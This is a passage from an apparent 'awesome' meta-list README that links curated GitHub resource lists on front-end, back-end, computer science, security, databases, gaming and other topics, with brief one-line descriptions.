[Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [lit](https://github.com/web-padawan/awesome-lit#readme) - Library for building web components with a declarative template system. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. - [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework. - [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed. - [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API. - [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites. <br> --- <br> <a href="https://neverinstall.com/spaces/devtools?utm_source=github&utm_medium=sponsor&utm_campaign=sindre#gh-light-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/neverinstall-logo-light.svg" width="120" alt="neverinstall"> </div> <br> ^{All your favourite IDE's now available on the cloud} <br> </a> <a href="https://neverinstall.com/spaces/devtools?utm_source=github&utm_medium=sponsor&utm_campaign=sindre#gh-dark-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/neverinstall-logo-dark.svg" width="120" alt="neverinstall"> </div> <br> ^{All your favourite IDE's now available on the cloud} <br> </a> <br> --- <br> ## Back-End Development - [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/livewire/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/vapor-community/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. - [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code. - [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization. - [Slim](https://github.com/nekofar/awesome-slim#readme) - PHP framework. - [Fiber](https://github.com/gofiber/awesome-fiber#readme) - Web framework built on top of Fasthttp, the fastest HTTP engine for Go. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research. - [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/accelerated-text/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. - [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique. - [Conversational AI](https://github.com/jyguyomarch/awesome-conversational-ai#readme) - Build awesome chatbots and digital assistants. ## Big Data - [Big Data](https://github.com/0xnr/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. - [Audit Algorithms](https://github.com/erwanlemerrer/awesome-audit-algorithms#readme) - Algorithmic audits of algorithms. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Neovim](https://github.com/rockerBOO/awesome-neovim#readme) - Vim-fork focused on extensibility and usability. - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/ConstructCommunity/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. - [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games. - [Esports](https://github.com/strift/awesome-esports#readme) - Video games played as a sport. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. - [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge. - [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system. - [TDengine](https://github.com/taosdata/awesome-tdengine#readme) - An open-source time-series database with high-performance, scalability, and SQL support. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. - [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. - [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology. - [Cyber Security University](https://github.com/brootware/awesome-cyber-security-university#readme) - Free educational resources that focus on learning by doing. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). - [Executable Packing](https://github.com/dhondta/awesome-executable-packing#readme) - Packing and unpacking executable formats. - [Malware Persistence](https://github.com/Karneades/awesome-malware-persistence#readme) - Techniques that adversaries use to keep access to systems across restarts. - [EVM Security](https://github.com/kareniel/awesome-evm-security#readme) - Understanding the Ethereum Virtual Machine security ecosystem. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. - [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS. - [Directus](https://github.com/directus-community/awesome-directus#readme) - A real-time API and app dashboard for managing SQL database content. - [Plone](https://github.com/collective/awesome-plone#readme) - Open source Python CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development. - [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light. - [Open Hardware](https://github.com/delftopenhardware/awesome-open-hardware#readme) - Open-source hardware projects. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. - [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user. - [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. - [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience. - [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. - [SNMP](https://github.com/eozer/awesome-snmp#readme) - A protocol for collecting, modifying, and organizing information about managed devices on IP networks. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. - [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust. - [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources. - [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin. - [Algorand](https://github.com/aorumbayev/awesome-algorand#readme) - An open-source, proof of stake blockchain and smart contract computing platform. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/grafana/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. - [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing. - [Gatling](https://github.com/aliesbelik/awesome-gatling#readme) - Open-source load and performance testing framework based on Scala, Akka, and Netty. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/0xnr/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities. - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/javierluraschi/awesome-dataviz#readme) - 